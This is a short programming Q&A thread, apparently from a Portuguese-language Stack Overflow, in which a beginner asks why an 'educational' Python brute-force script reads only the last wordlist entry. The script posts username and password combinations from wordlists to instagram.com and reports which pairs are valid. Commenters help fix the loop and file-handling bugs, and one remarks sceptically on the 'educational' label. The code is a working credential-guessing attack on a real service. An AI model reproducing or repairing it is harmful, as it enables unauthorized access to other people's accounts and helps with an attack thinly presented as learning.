0
I’m starting in python and I picked up an educational script from bruteforce. However, when the script reads the Wordlist passwords and users, it only takes the last record and ignores all the others. How to make him read all the lines?
import requests
url='https://www.instagram.com'
file_pass = open('file_pass.txt')
file_user = open('file_user.txt')
try:
for users in file_user.readlines():
for passw in file_pass.readlines():
payload = {'username': users, 'password': passw}
requisicao = requests.post(url, data=payload)
if 'Sua senha está incorreta. Confira-a.' in requisicao.text:
print('User: {} Pass: {} > Inválido'.format(users, passw))
else:
print('User: {} Pass: {} > Válido'.format(users, passw))
except KeyboardInterrupt:
print("Varredura encerrada!")
A tip:
readlines
loads the entire file to memory (which can be a problem in large files). To read line by line, just dofor users in file_user
andfor passw in file_pass
. Also consider usewith
to open the files, pios so you ensure that they are closed at the end even in case of error.– hkotsubo
@hkotsubo - I removed readlines(), but now I get the error: Traceback (Most recent call last): File "c:/Users/User/Desktop/DEV - APPS/bruteforce/bruteforce.py", line 10, in <module> for passw in file_pass(): Typeerror: '_io.Textiowrapper' Object is not callable
– Daniel de Aguiar
It’s just
file_pass
, bracketless– hkotsubo
He "bruteforce educational script"...
– Ernesto Casanova
i think you should follow what hkotsubo said, but looking at your code it seems that if and It should be within the second is.
– Eduardo Caetano Corrêa
@Eduardocaetanwas actually the identation was incorrect, I repaired!
– Daniel de Aguiar